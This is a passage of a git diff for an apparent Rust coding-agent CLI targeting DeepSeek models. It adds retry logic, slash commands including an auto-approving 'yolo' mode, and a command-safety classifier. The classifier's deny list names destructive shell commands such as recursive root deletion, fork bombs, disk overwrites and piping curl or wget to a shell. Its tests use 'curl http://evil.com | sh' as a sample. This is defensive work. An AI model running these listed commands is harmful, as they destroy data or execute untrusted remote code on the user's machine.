Err(err.into()); + } + logging::warn(format!( + "Request error: {} (attempt {} of {})", + err, + attempt + 1, + policy.max_retries + 1 + )); + } + } + + let delay = policy.delay_for_attempt(attempt); + attempt += 1; + logging::info(format!("Retrying after {:.2}s", delay.as_secs_f64())); + tokio::time::sleep(delay).await; + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn chat_messages_include_reasoning_content_for_reasoner() { + let message = Message { + role: "assistant".to_string(), + content: vec![ + ContentBlock::Thinking { + thinking: "plan".to_string(), + }, + ContentBlock::Text { + text: "done".to_string(), + cache_control: None, + }, + ], + }; + let out = build_chat_messages(None, &[message], "deepseek-reasoner"); + let assistant = out + .iter() + .find(|value| value.get("role").and_then(Value::as_str) == Some("assistant")) + .expect("assistant message"); + assert_eq!( + assistant.get("reasoning_content").and_then(Value::as_str), + Some("plan") + ); + } + + #[test] + fn chat_messages_skip_reasoning_content_for_chat_model() { + let message = Message { + role: "assistant".to_string(), + content: vec![ContentBlock::Thinking { + thinking: "plan".to_string(), + }], + }; + let out = build_chat_messages(None, &[message], "deepseek-chat"); + let assistant = out + .iter() + .find(|value| value.get("role").and_then(Value::as_str) == Some("assistant")) + .expect("assistant message"); + assert!(assistant.get("reasoning_content").is_none()); + } +} diff --git a/src/command_safety.rs b/src/command_safety.rs new file mode 100644 index 00000000..fd8b87cf --- /dev/null +++ b/src/command_safety.rs @@ -0,0 +1,618 @@ +//! Command safety analysis for shell execution +//! +//! This module provides pre-execution analysis of shell commands to detect +//! potentially dangerous patterns and prevent accidental damage. + +#![allow(dead_code)] // Public API - utility functions may not be used yet + +/// Safety classification of a command +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum SafetyLevel { + /// Command is known to be safe (read-only operations) + Safe, + /// Command is safe within the workspace but may modify files + WorkspaceSafe, + /// Command may have system-wide effects and requires approval + RequiresApproval, + /// Command is potentially dangerous and should be blocked + Dangerous, +} + +/// Result of analyzing a command +#[derive(Debug, Clone)] +pub struct SafetyAnalysis { + pub level: SafetyLevel, + pub command: String, + pub reasons: Vec, + pub suggestions: Vec, +} + +impl SafetyAnalysis { + pub fn safe(command: &str) -> Self { + Self { + level: SafetyLevel::Safe, + command: command.to_string(), + reasons: vec!["Command is read-only".to_string()], + suggestions: vec![], + } + } + + pub fn workspace_safe(command: &str, reason: &str) -> Self { + Self { + level: SafetyLevel::WorkspaceSafe, + command: command.to_string(), + reasons: vec![reason.to_string()], + suggestions: vec![], + } + } + + pub fn requires_approval(command: &str, reasons: Vec) -> Self { + Self { + level: SafetyLevel::RequiresApproval, + command: command.to_string(), + reasons, + suggestions: vec![], + } + } + + pub fn dangerous(command: &str, reasons: Vec, suggestions: Vec) -> Self { + Self { + level: SafetyLevel::Dangerous, + command: command.to_string(), + reasons, + suggestions, + } + } +} + +/// Known safe commands that only read data +const SAFE_COMMANDS: &[&str] = &[ + "ls", + "dir", + "pwd", + "cd", + "cat", + "head", + "tail", + "less", + "more", + "grep", + "rg", + "ag", + "find", + "fd", + "which", + "whereis", + "type", + "echo", + "printf", + "date", + "cal", + "uptime", + "whoami", + "id", + "hostname", + "uname", + "env", + "printenv", + "set", + "ps", + "top", + "htop", + "df", + "du", + "free", + "vmstat", + "wc", + "sort", + "uniq", + "cut", + "tr", + "awk", + "sed", + "diff", + "file", + "stat", + "md5", + "sha1sum", + "sha256sum", + "git status", + "git log", + "git diff", + "git show", + "git branch", + "git remote", + "git tag", + "git stash list", + "npm list", + "npm ls", + "npm outdated", + "npm view", + "cargo check", + "cargo test", + "cargo build", + "cargo doc", + "python --version", + "node --version", + "rustc --version", + "man", + "help", + "info", +]; + +/// Commands that are safe within workspace but modify files +const WORKSPACE_SAFE_COMMANDS: &[&str] = &[ + "mkdir", + "touch", + "cp", + "mv", + "git add", + "git commit", + "git checkout", + "git switch", + "git restore", + "git merge", + "git rebase", + "git cherry-pick", + "git reset --soft", + "npm install", + "npm ci", + "npm update", + "cargo build", + "cargo run", + "cargo test", + "cargo fmt", + "pip install", + "pip uninstall", + "make", + "cmake", + "ninja", +]; + +/// Dangerous command patterns that should be blocked or warned +const DANGEROUS_PATTERNS: &[(&str, &str)] = &[ + ("rm -rf /", "Attempts to recursively delete root filesystem"), + ( + "rm -rf /*", + "Attempts to recursively delete all root directories", + ), + ("rm -rf ~", "Attempts to recursively delete home directory"), + ( + "rm -rf $HOME", + "Attempts to recursively delete home directory", + ), + (":(){ :|:& };:", "Fork bomb - will crash the system"), + ("dd if=/dev/zero of=/dev/", "Will overwrite disk device"), + ("mkfs.", "Will format a filesystem"), + ("> /dev/sd", "Will overwrite disk device"), + ("chmod -R 777 /", "Dangerous permission change on root"), + ( + "chown -R", + "Recursive ownership change - potentially dangerous", + ), + ("curl | sh", "Piping remote script directly to shell"), + ("curl | bash", "Piping remote script directly to shell"), + ("wget -O - | sh", "Piping remote script directly to shell"), + ("sudo rm -rf", "Privileged recursive deletion"), + ("sudo dd", "Privileged disk operation"), + ("shutdown", "System shutdown command"), + ("reboot", "System reboot command"), + ("halt", "System halt command"), + ("poweroff", "System poweroff command"), + ("init 0", "System shutdown via init"), + ("init 6", "System reboot via init"), + ("kill -9 1", "Killing init process"), + ("killall", "Killing processes by name"), + ("pkill", "Killing processes by pattern"), + ( + "docker rm -f $(docker ps -aq)", + "Removing all Docker containers", + ), + ("docker system prune -a", "Removing all Docker data"), + (":(){:|:&};:", "Fork bomb variant"), + ("mv /* ", "Moving root filesystem contents"), + ("cat /dev/urandom > /dev/", "Writing random data to device"), +]; + +/// Commands that require elevated privileges +const PRIVILEGED_PATTERNS: &[&str] = &["sudo", "su ", "doas", "pkexec", "gksudo", "kdesudo"]; + +/// Network-related commands +const NETWORK_COMMANDS: &[&str] = &[ + "curl", + "wget", + "fetch", + "nc", + "netcat", + "ncat", + "ssh", + "scp", + "sftp", + "rsync", + "ftp", + "ping", + "traceroute", + "nslookup", + "dig", + "host", + "nmap", + "masscan", + "tcpdump", + "wireshark", +]; + +/// Analyze a shell command for safety +pub fn analyze_command(command: &str) -> SafetyAnalysis { + let command_lower = command.to_lowercase(); + let command_trimmed = command.trim(); + + if command.contains('\n') || command.contains('\r') { + return SafetyAnalysis::dangerous( + command, + vec!["Command contains multiple lines".to_string()], + vec!["Run one command at a time".to_string()], + ); + } + + if command.contains("&&") || command.contains("||") || command.contains(';') { + return SafetyAnalysis::dangerous( + command, + vec!["Command chaining detected".to_string()], + vec!["Run commands separately to reduce risk".to_string()], + ); + } + + if command.contains("`") || command.contains("$(") { + return SafetyAnalysis::dangerous( + command, + vec!["Command substitution detected".to_string()], + vec!["Avoid shell substitutions in exec_shell".to_string()], + ); + } + + // Check for dangerous patterns first + for (pattern, reason) in DANGEROUS_PATTERNS { + if command_lower.contains(&pattern.to_lowercase()) { + return SafetyAnalysis::dangerous( + command, + vec![(*reason).to_string()], + vec!["Review the command carefully before execution".to_string()], + ); + } + } + + // Check for privileged commands + for pattern in PRIVILEGED_PATTERNS { + if command_trimmed.starts_with(pattern) || command_lower.contains(&format!(" {pattern} ")) { + return SafetyAnalysis::requires_approval( + command, + vec![format!( + "Command uses privileged execution ({})", + pattern.trim() + )], + ); + } + } + + // Check for pipe to shell (remote code execution risk) + if (command_lower.contains("curl") || command_lower.contains("wget")) + && (command_lower.contains("| sh") + || command_lower.contains("| bash") + || command_lower.contains("| zsh")) + { + return SafetyAnalysis::dangerous( + command, + vec!["Piping remote content directly to shell is dangerous".to_string()], + vec!["Download the script first and review it before execution".to_string()], + ); + } + + // Check if it's a known safe command + let first_word = command_trimmed.split_whitespace().next().unwrap_or(""); + if is_safe_command(command_trimmed) { + return SafetyAnalysis::safe(command); + } + + // Check for workspace-safe commands + if is_workspace_safe_command(command_trimmed) { + return SafetyAnalysis::workspace_safe(command, "Command modifies files within workspace"); + } + + // Check for network commands + if NETWORK_COMMANDS.contains(&first_word) { + return SafetyAnalysis::requires_approval( + command, + vec!["Command may make network requests".to_string()], + ); + } + + // Check for rm with -r or -f flags + if first_word == "rm" && (command_lower.contains("-r") || command_lower.contains("-f")) { + let mut reasons = vec!["Recursive or forced deletion".to_string()]; + let mut suggestions = vec![]; + + // Check if it's deleting outside workspace markers + if command_lower.contains("..") + || command_lower.contains("~/") + || command_lower.contains("$HOME") + { + reasons.push("May delete files outside workspace".to_string()); + suggestions.push("Use relative paths within the workspace".to_string()); + return SafetyAnalysis::dangerous(command, reasons, suggestions); + } + + return SafetyAnalysis::requires_approval(command, reasons); + } + + // Check for git push/force operations + if command_lower.contains("git push") { + if command_lower.contains("--force") || command_lower.contains("-f") { + return SafetyAnalysis::requires_approval( + command, + vec!["Force push can overwrite remote history".to_string()], + ); + } + return SafetyAnalysis::requires_approval( + command, + vec!["Push will modify remote repository".to_string()], + ); + } + + // Default: requires approval for unknown commands + SafetyAnalysis::requires_approval( + command, + vec!["Unknown command - review before execution".to_string()], + ) +} + +/// Check if a command is known to be safe +fn is_safe_command(command: &str) -> bool { + let command_lower = command.to_lowercase(); + + for safe_cmd in SAFE_COMMANDS { + if command_lower.starts_with(safe_cmd) { + return true; + } + } + + false +} + +/// Check if a command is safe within the workspace +fn is_workspace_safe_command(command: &str) -> bool { + let command_lower = command.to_lowercase(); + + for ws_cmd in WORKSPACE_SAFE_COMMANDS { + if command_lower.starts_with(ws_cmd) { + return true; + } + } + + false +} + +/// Check if a path escapes the workspace +pub fn path_escapes_workspace(path: &str, workspace: &str) -> bool { + let path_lower = path.to_lowercase(); + + // Check for obvious escape patterns + if path_lower.starts_with('/') && !path_lower.starts_with(workspace) { + return true; + } + + if path_lower.starts_with("~/") || path_lower.starts_with("$home") { + return true; + } + + // Check for ../ traversal + if path.contains("..") { + // Count the ../ sequences and check if they escape + let workspace_depth = workspace.matches('/').count(); + let escape_count = path.matches("..").count(); + if escape_count > workspace_depth { + return true; + } + } + + false +} + +/// Parse a command and extract the primary command name +pub fn extract_primary_command(command: &str) -> Option<&str> { + let trimmed = command.trim(); + + // Handle env vars at start + if trimmed.starts_with("env ") || trimmed.starts_with("ENV=") { + // Skip env setup - find first token that's not an env var + trimmed + .split_whitespace() + .find(|s| !s.contains('=') && *s != "env") + } else { + trimmed.split_whitespace().next() + } +} + +/// Categorize commands into groups +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum CommandCategory { + FileSystem, + Network, + Process, + Package, + Git, + Build, + System, + Shell, + Other, +} + +/// Get the category of a command +pub fn categorize_command(command: &str) -> CommandCategory { + let primary = match extract_primary_command(command) { + Some(cmd) => cmd.to_lowercase(), + None => return CommandCategory::Other, + }; + + match primary.as_str() { + "ls" | "dir" | "cat" | "head" | "tail" | "less" | "more" | "cp" | "mv" | "rm" | "mkdir" + | "rmdir" | "touch" | "chmod" | "chown" | "ln" | "find" | "fd" | "locate" | "stat" + | "file" => CommandCategory::FileSystem, + + "curl" | "wget" | "fetch" | "nc" | "netcat" | "ssh" | "scp" | "sftp" | "rsync" | "ftp" + | "ping" | "traceroute" | "nslookup" | "dig" | "host" | "nmap" => CommandCategory::Network, + + "ps" | "top" | "htop" | "kill" | "killall" | "pkill" | "pgrep" | "nice" | "renice" + | "nohup" | "timeout" => CommandCategory::Process, + + "npm" | "yarn" | "pnpm" | "pip" | "pip3" | "brew" | "apt" | "apt-get" | "yum" | "dnf" + | "pacman" => CommandCategory::Package, + + "git" | "gh" | "hub" => CommandCategory::Git, + + "make" | "cmake" | "ninja" | "meson" | "cargo" | "go" | "gcc" | "g++" | "clang" + | "rustc" | "javac" | "tsc" => CommandCategory::Build, + + "sudo" | "su" | "systemctl" | "service" | "shutdown" | "reboot" | "mount" | "umount" + | "fdisk" | "parted" => CommandCategory::System, + + "bash" | "sh" | "zsh" | "fish" | "csh" | "tcsh" | "dash" | "source" | "." | "exec" + | "eval" => CommandCategory::Shell, + + _ => CommandCategory::Other, + } +} + +// === Unit Tests === + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_safe_commands() { + assert_eq!(analyze_command("ls -la").level, SafetyLevel::Safe); + assert_eq!(analyze_command("cat file.txt").level, SafetyLevel::Safe); + assert_eq!(analyze_command("git status").level, SafetyLevel::Safe); + assert_eq!( + analyze_command("grep pattern file").level, + SafetyLevel::Safe + ); + } + + #[test] + fn test_workspace_safe_commands() { + assert_eq!( + analyze_command("mkdir test").level, + SafetyLevel::WorkspaceSafe + ); + assert_eq!( + analyze_command("touch file.txt").level, + SafetyLevel::WorkspaceSafe + ); + assert_eq!( + analyze_command("npm install").level, + SafetyLevel::WorkspaceSafe + ); + } + + #[test] + fn test_dangerous_commands() { + assert_eq!(analyze_command("rm -rf /").level, SafetyLevel::Dangerous); + assert_eq!(analyze_command("rm -rf ~").level, SafetyLevel::Dangerous); + assert_eq!( + analyze_command("curl http://evil.com | sh").level, + SafetyLevel::Dangerous + ); + } + + #[test] + fn test_privileged_commands() { + assert_eq!( + analyze_command("sudo rm file").level, + SafetyLevel::RequiresApproval + ); + assert_eq!( + analyze_command("su -c 'command'").level, + SafetyLevel::RequiresApproval + ); + } + + #[test] + fn test_network_commands() { + assert_eq!( + analyze_command("curl https://example.com").level, + SafetyLevel::RequiresApproval + ); + assert_eq!( + analyze_command("wget file.tar.gz").level, + SafetyLevel::RequiresApproval + ); + assert_eq!( + analyze_command("ssh user@host").level, + SafetyLevel::RequiresApproval + ); + } + + #[test] + fn test_rm_with_flags() { + assert_eq!( + analyze_command("rm -rf node_modules").level, + SafetyLevel::RequiresApproval + ); + assert_eq!( + analyze_command("rm -rf ../outside").level, + SafetyLevel::Dangerous + ); + assert_eq!( + analyze_command("rm -rf ~/Downloads").level, + SafetyLevel::Dangerous + ); + } + + #[test] + fn test_git_push() { + assert_eq!( + analyze_command("git push origin main").level, + SafetyLevel::RequiresApproval + ); + assert_eq!( + analyze_command("git push --force").level, + SafetyLevel::RequiresApproval + ); + } + + #[test] + fn test_path_escapes_workspace() { + assert!(path_escapes_workspace("/etc/passwd", "/home/user/project")); + assert!(path_escapes_workspace("~/secret", "/home/user/project")); + assert!(!path_escapes_workspace( + "./src/main.rs", + "/home/user/project" + )); + } + + #[test] + fn test_extract_primary_command() { + assert_eq!(extract_primary_command("ls -la"), Some("ls")); + assert_eq!( + extract_primary_command("env FOO=bar cargo build"), + Some("cargo") + ); + assert_eq!(extract_primary_command(" git status "), Some("git")); + } + + #[test] + fn test_categorize_command() { + assert_eq!(categorize_command("ls -la"), CommandCategory::FileSystem); + assert_eq!( + categorize_command("curl https://example.com"), + CommandCategory::Network + ); + assert_eq!(categorize_command("git status"), CommandCategory::Git); + assert_eq!(categorize_command("npm install"), CommandCategory::Package); + assert_eq!( + categorize_command("sudo apt update"), + CommandCategory::System + ); + } +} diff --git a/src/commands/config.rs b/src/commands/config.rs new file mode 100644 index 00000000..5bc3410d --- /dev/null +++ b/src/commands/config.rs @@ -0,0 +1,240 @@ +//! Config commands: config, set, settings, yolo, trust, logout + +use super::CommandResult; +use crate::compaction::CompactionConfig; +use crate::config::clear_api_key; +use crate::palette; +use crate::settings::Settings; +use crate::tui::app::{App, AppAction, AppMode, OnboardingState}; +use crate::tui::approval::ApprovalMode; + +/// Display current configuration +pub fn show_config(app: &mut App) -> CommandResult { + let has_project_doc = app.project_doc.is_some(); + let config_info = format!( + "Session Configuration:\n\ + ─────────────────────────────\n\ + Mode: {}\n\ + Model: {}\n\ + Workspace: {}\n\ + Shell enabled: {}\n\ + Approval mode: {}\n\ + Max sub-agents: {}\n\ + Trust mode: {}\n\ + Auto-compact: {}\n\ + Total tokens: {}\n\ + Project doc: {}", + app.mode.label(), + app.model, + app.workspace.display(), + if app.allow_shell { "yes" } else { "no" }, + app.approval_mode.label(), + app.max_subagents, + if app.trust_mode { "yes" } else { "no" }, + if app.auto_compact { "yes" } else { "no" }, + app.total_tokens, + if has_project_doc { + "loaded" + } else { + "not found" + }, + ); + CommandResult::message(config_info) +} + +/// Show persistent settings +pub fn show_settings(_app: &mut App) -> CommandResult { + match Settings::load() { + Ok(settings) => CommandResult::message(settings.display()), + Err(e) => CommandResult::error(format!("Failed to load settings: {e}")), + } +} + +/// Modify a setting at runtime +pub fn set_config(app: &mut App, args: Option<&str>) -> CommandResult { + let Some(args) = args else { + let available = Settings::available_settings() + .iter() + .map(|(k, d)| format!(" {k}: {d}")) + .collect::>() + .join("\n"); + return CommandResult::message(format!( + "Usage: /set \n\n\ + Available settings:\n{available}\n\n\ + Session-only settings:\n \ + model: Current model\n \ + approval_mode: auto | suggest | never\n\n\ + Add --save to persist to settings file." + )); + }; + + let parts: Vec<&str> = args.splitn(2, ' ').collect(); + if parts.len() < 2 { + return CommandResult::error("Usage: /set "); + } + + let key = parts[0].to_lowercase(); + let (value, should_save) = if parts[1].ends_with(" --save") { + (parts[1].trim_end_matches(" --save").trim(), true) + } else { + (parts[1].trim(), false) + }; + + // Handle session-only settings first + match key.as_str() { + "model" => { + app.model = value.to_string(); + return CommandResult::message(format!("model = {value}")); + } + "approval_mode" | "approval" => { + let mode = match value.to_lowercase().as_str() { + "auto" => Some(ApprovalMode::Auto), + "suggest" | "suggested" => Some(ApprovalMode::Suggest), + "never" => Some(ApprovalMode::Never), + _ => None, + }; + return match mode { + Some(m) => { + app.approval_mode = m; + CommandResult::message(format!("approval_mode = {}", m.label())) + } + None => CommandResult::error("Invalid approval_mode. Use: auto, suggest, never"), + }; + } + _ => {} + } + + // Load and update persistent settings + let mut settings = match Settings::load() { + Ok(s) => s, + Err(e) => return CommandResult::error(format!("Failed to load settings: {e}")), + }; + + if let Err(e) = settings.set(&key, value) { + return CommandResult::error(format!("{e}")); + } + + // Apply to current session + let mut action = None; + match key.as_str() { + "auto_compact" | "compact" => { + app.auto_compact = settings.auto_compact; + let mut compaction = CompactionConfig::default(); + compaction.enabled = app.auto_compact; + compaction.token_threshold = app.compact_threshold; + compaction.model = app.model.clone(); + action = Some(AppAction::UpdateCompaction(compaction)); + } + "show_thinking" | "thinking" => { + app.show_thinking = settings.show_thinking; + app.mark_history_updated(); + } + "show_tool_details" | "tool_details" => { + app.show_tool_details = settings.show_tool_details; + app.mark_history_updated(); + } + "default_mode" | "mode" => { + let mode = match settings.default_mode.as_str() { + "agent" | "normal" => AppMode::Agent, + "plan" => AppMode::Plan, + "yolo" => AppMode::Yolo, + "rlm" => AppMode::Rlm, + "duo" => AppMode::Duo, + _ => AppMode::Agent, + }; + app.set_mode(mode); + } + "max_history" | "history" => { + app.max_input_history = settings.max_input_history; + } + "default_model" => { + if let Some(ref model) = settings.default_model { + app.model.clone_from(model); + } + } + "theme" => { + app.ui_theme = palette::ui_theme(&settings.theme); + app.mark_history_updated(); + } + _ => {} + } + + // Save if requested + let message = if should_save { + if let Err(e) = settings.save() { + return CommandResult::error(format!("Failed to save: {e}")); + } + format!("{key} = {value} (saved)") + } else { + format!("{key} = {value} (session only, add --save to persist)") + }; + + CommandResult { + message: Some(message), + action, + } +} + +/// Enable YOLO mode (shell + trust + auto-approve) +pub fn yolo(app: &mut App) -> CommandResult { + app.set_mode(AppMode::Yolo); + CommandResult::message("YOLO mode enabled - shell + trust + auto-approve!") +} + +/// Enable trust mode (file access outside workspace) +pub fn trust(app: &mut App) -> CommandResult { + app.trust_mode = true; + CommandResult::message("Trust mode enabled - can access files outside workspace") +} + +/// Logout - clear API key and return to onboarding +pub fn logout(app: &mut App) -> CommandResult { + match clear_api_key() { + Ok(()) => { + app.onboarding = OnboardingState::Welcome; + app.api_key_input.clear(); + app.api_key_cursor = 0; + CommandResult::message("Logged out. Enter a new API key to continue.") + } + Err(e) => CommandResult::error(format!("Failed to clear API key: {e}")), + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::config::Config; + use crate::tui::app::{App, TuiOptions}; + use crate::tui::approval::ApprovalMode; + use std::path::PathBuf; + + fn create_test_app() -> App { + let options = TuiOptions { + model: "test-model".to_string(), + workspace: PathBuf::from("."), + allow_shell: false, + use_alt_screen: true, + max_subagents: 1, + skills_dir: PathBuf::from("."), + memory_path: PathBuf::from("memory.md"), + notes_path: PathBuf::from("notes.txt"), + mcp_config_path: PathBuf::from("mcp.json"), + use_memory: false, + start_in_agent_mode: false, + yolo: false, + resume_session_id: None, + }; + App::new(options, &Config::default()) + } + + #[test] + fn test_yolo_command_sets_all_flags() { + let mut app = create_test_app(); + let _ = yolo(&mut app); + assert!(app.allow_shell); + assert!(app.trust_mode); + assert!(app.yolo); + assert_eq!(app.approval_mode, ApprovalMode::Auto); + assert_eq!(app.mode, AppMode::Yolo); + } +} diff --git a/src/commands/core.rs b/src/commands/core.rs new file mode 100644 index 00000000..dfe50d8d --- /dev/null +++ b/src/commands/core.rs @@ -0,0 +1,98 @@ +//! Core commands: help, clear, exit, model + +use std::fmt::Write; + +use crate::tools::plan::PlanState; +use crate::tui::app::{App, AppAction}; +use crate::tui::views::{HelpView, ModalKind, SubAgentsView}; + +use super::CommandResult; + +/// Show help information +pub fn help(app: &mut App, topic: Option<&str>) -> CommandResult { + if let Some(topic) = topic { + // Show help for specific command + if let Some(cmd) = super::get_command_info(topic) { + let mut help = format!( + "{}\n\n {}\n\n Usage: {}", + cmd.name, cmd.description, cmd.usage + ); + if !cmd.aliases.is_empty() { + let _ = write!(help, "\n Aliases: {}", cmd.aliases.join(", ")); + } + return CommandResult::message(help); + } + return CommandResult::error(format!("Unknown command: {topic}")); + } + + // Show help overlay + if app.view_stack.top_kind() != Some(ModalKind::Help) { + app.view_stack.push(HelpView::new()); + } + CommandResult::ok() +} + +/// Clear conversation history +pub fn clear(app: &mut App) -> CommandResult { + app.history.clear(); + app.mark_history_updated(); + app.api_messages.clear(); + app.transcript_selection.clear(); + app.total_conversation_tokens = 0; + app.clear_todos(); + if let Ok(mut plan) = app.plan_state.lock() { + *plan = PlanState::default(); + } + app.tool_log.clear(); + CommandResult::message("Conversation cleared") +} + +/// Exit the application +pub fn exit() -> CommandResult { + CommandResult::action(AppAction::Quit) +} + +/// Available DeepSeek models +const AVAILABLE_MODELS: &[&str] = &[ + "deepseek-reasoner", + "deepseek-chat", + "deepseek-r1", + "deepseek-v3", + "deepseek-v3.2", +]; + +/// Switch or view current model +pub fn model(app: &mut App, model_name: Option<&str>) -> CommandResult { + if let Some(name) = model_name { + let old_model = app.model.clone(); + app.model = name.to_string(); + CommandResult::message(format!("Model changed: {old_model} → {name}")) + } else { + let available = AVAILABLE_MODELS.join(", "); + CommandResult::message(format!( + "Current model: {}\nAvailable: {}", + app.model, available + )) + } +} + +/// List sub-agent status from the engine +pub fn subagents(app: &mut App) -> CommandResult { + if app.view_stack.top_kind() != Some(ModalKind::SubAgents) { + app.view_stack + .push(SubAgentsView::new(app.subagent_cache.clone())); + } + app.status_message = Some("Fetching sub-agent status...".to_string()); + CommandResult::action(AppAction::ListSubAgents) +} + +/// Show `DeepSeek` dashboard and docs links +pub fn deepseek_links() -> CommandResult { + CommandResult::message( + "DeepSeek Links:\n\ +─────────────────────────────\n\ +Dashboard: https://platform.deepseek.com\n\ +Docs: https://platform.deepseek.com/docs\n\n\ +Tip: API keys are available in the dashboard console.", + ) +} diff --git a/src/commands/debug.rs b/src/commands/debug.rs new file mode 100644 index 00000000..7a1b1d96 --- /dev/null +++ b/src/commands/debug.rs @@ -0,0 +1,170 @@ +//! Debug commands: tokens, cost, system, context, undo, retry + +use super::CommandResult; +use crate::models::{SystemPrompt, context_window_for_model}; +use crate::tui::app::{App, AppAction}; +use crate::tui::history::HistoryCell; +use crate::utils::estimate_message_chars; + +/// Show token usage for session +pub fn tokens(app: &mut App) -> CommandResult { + let message_count = app.api_messages.len(); + let chat_count = app.history.len(); + + CommandResult::message(format!( + "Token Usage:\n\ + ─────────────────────────────\n\ + Total tokens: {}\n\ + Session cost: ${:.4}\n\ + API messages: {}\n\ + Chat messages: {}\n\ + Model: {}", + app.total_tokens, app.session_cost, message_count, chat_count, app.model, + )) +} + +/// Show session cost breakdown +pub fn cost(app: &mut App) -> CommandResult { + CommandResult::message(format!( + "Session Cost:\n\ + ─────────────────────────────\n\ + Total spent: ${:.4}\n\n\ + DeepSeek API Pricing:\n\ + ─────────────────────────────\n\ + Pricing details are not configured in this CLI.", + app.session_cost, + )) +} + +/// Show current system prompt +pub fn system_prompt(app: &mut App) -> CommandResult { + let prompt_text = match &app.system_prompt { + Some(SystemPrompt::Text(text)) => text.clone(), + Some(SystemPrompt::Blocks(blocks)) => blocks + .iter() + .map(|b| b.text.clone()) + .collect::>() + .join("\n\n---\n\n"), + None => "(no system prompt)".to_string(), + }; + + // Truncate if too long + let display = if prompt_text.len() > 500 { + // Find a valid UTF-8 char boundary at or before byte 500 + let truncate_at = prompt_text + .char_indices() + .take_while(|(i, _)| *i <= 500) + .last() + .map_or(0, |(i, _)| i); + format!( + "{}...\n\n(truncated, {} chars total)", + &prompt_text[..truncate_at], + prompt_text.len() + ) + } else { + prompt_text + }; + + CommandResult::message(format!( + "System Prompt ({} mode):\n─────────────────────────────\n{}", + app.mode.label(), + display + )) +} + +/// Show context window usage +pub fn context(app: &mut App) -> CommandResult { + let mut total_chars = estimate_message_chars(&app.api_messages); + + // System prompt + if let Some(SystemPrompt::Text(text)) = &app.system_prompt { + total_chars += text.len(); + } else if let Some(SystemPrompt::Blocks(blocks)) = &app.system_prompt { + for block in blocks { + total_chars += block.text.len(); + } + } + + // Rough token estimate (4 chars per token on average) + let estimated_tokens = total_chars / 4; + + let context_size = context_window_for_model(&app.model).unwrap_or(128_000); + let estimated_tokens_u32 = u32::try_from(estimated_tokens).unwrap_or(u32::MAX); + let usage_pct = (f64::from(estimated_tokens_u32) / f64::from(context_size) * 100.0).min(100.0); + + CommandResult::message(format!( + "Context Usage:\n\ + ─────────────────────────────\n\ + Characters: {}\n\ + Estimated tokens: ~{}\n\ + Context window: {}\n\ + Usage: {:.1}%\n\n\ + Messages: {}\n\ + API messages: {}", + total_chars, + estimated_tokens, + context_size, + usage_pct, + app.history.len(), + app.api_messages.len(), + )) +} + +/// Remove last message pair (user + assistant) +pub fn undo(app: &mut App) -> CommandResult { + // Remove from display history (up to the last user message) + let mut removed_count = 0; + while !app.history.is_empty() { + let last_is_user = matches!(app.history.last(), Some(HistoryCell::User { .. })); + app.history.pop(); + removed_count += 1; + if last_is_user { + break; + } + } + + // Remove from API messages + while let Some(last) = app.api_messages.last() { + if last.role == "user" { + app.api_messages.pop(); + break; + } + app.api_messages.pop(); + } + + if removed_count > 0 { + app.mark_history_updated(); + CommandResult::message(format!("Removed {removed_count} message(s)")) + } else { + CommandResult::message("Nothing to undo") + } +} + +/// Retry last request - remove last exchange and re-send the user's message +pub fn retry(app: &mut App) -> CommandResult { + let last_user_input = app.history.iter().rev().find_map(|cell| match cell { + HistoryCell::User { content } => Some(content.clone()), + _ => None, + }); + + match last_user_input { + Some(input) => { + undo(app); + let display_input = if input.len() > 50 { + let truncate_at = input + .char_indices() + .take_while(|(i, _)| *i <= 50) + .last() + .map_or(0, |(i, _)| i); + format!("{}...", &input[..truncate_at]) + } else { + input.clone() + }; + CommandResult::with_message_and_action( + format!("Retrying: {display_input}"), + AppAction::SendMessage(input), + ) + } + None => CommandResult::error("No previous request to retry"), + } +} diff --git a/src/commands/init.rs b/src/commands/init.rs new file mode 100644 index 00000000..d5dc4a1d --- /dev/null +++ b/src/commands/init.rs @@ -0,0 +1,153 @@ +//! /init command - Generate AGENTS.md for project + +use std::fmt::Write; +use std::path::Path; + +use crate::tui::app::App; + +use super::CommandResult; + +/// Generate an AGENTS.md file for the current project +pub fn init(app: &mut App) -> CommandResult { + let workspace = &app.workspace; + + // Check if AGENTS.md already exists + let agents_path = workspace.join("AGENTS.md"); + if agents_path.exists() { + return CommandResult::error("AGENTS.md already exists. Delete it first to reinitialize."); + } + + // Detect project type and generate appropriate content + let content = generate_project_doc(workspace); + + // Write the file + match std::fs::write(&agents_path, &content) { + Ok(()) => CommandResult::message(format!( + "Created AGENTS.md at {}\n\nEdit this file to customize agent behavior for your project.", + agents_path.display() + )), + Err(e) => CommandResult::error(format!("Failed to create AGENTS.md: {e}")), + } +} + +/// Generate project documentation based on detected project type +fn generate_project_doc(workspace: &Path) -> String { + let mut doc = String::new(); + + // Header + doc.push_str("# Project Instructions\n\n"); + doc.push_str("This file provides context for AI assistants working on this project.\n\n"); + + // Detect project type + let project_info = detect_project_type(workspace); + doc.push_str(&project_info); + + // Add standard sections + doc.push_str("\n## Guidelines\n\n"); + doc.push_str("- Follow existing code style and patterns\n"); + doc.push_str("- Write tests for new functionality\n"); + doc.push_str("- Keep changes focused and atomic\n"); + doc.push_str("- Document public APIs\n"); + + doc.push_str("\n## Important Notes\n\n"); + doc.push_str("\n"); + + doc +} + +/// Detect project type and return relevant information +fn detect_project_type(workspace: &Path) -> String { + let mut info = String::new(); + + // Check for Rust project + if workspace.join("Cargo.toml").exists() { + info.push_str("## Project Type: Rust\n\n"); + info.push_str("### Commands\n"); + info.push_str("- Build: `cargo build`\n"); + info.push_str("- Test: `cargo test`\n"); + info.push_str("- Run: `cargo run`\n"); + info.push_str("- Check: `cargo check`\n"); + info.push_str("- Format: `cargo fmt`\n"); + info.push_str("- Lint: `cargo clippy`\n\n"); + + // Try to extract project name from Cargo.toml + if let Some(name) = std::fs::read_to_string(workspace.join("Cargo.toml")) + .ok() + .and_then(|content| extract_cargo_name(&content)) + { + let _ = write!(info, "### Project: {name}\n\n"); + } + } + // Check for Node.js project + else if workspace.join("package.json").exists() { + info.push_str("## Project Type: Node.js\n\n"); + info.push_str("### Commands\n"); + info.push_str("- Install: `npm install`\n"); + info.push_str("- Test: `npm test`\n"); + info.push_str("- Build: `npm run build`\n"); + info.push_str("- Start: `npm start`\n\n"); + + // Check for common frameworks + if workspace.join("next.config.js").exists() || 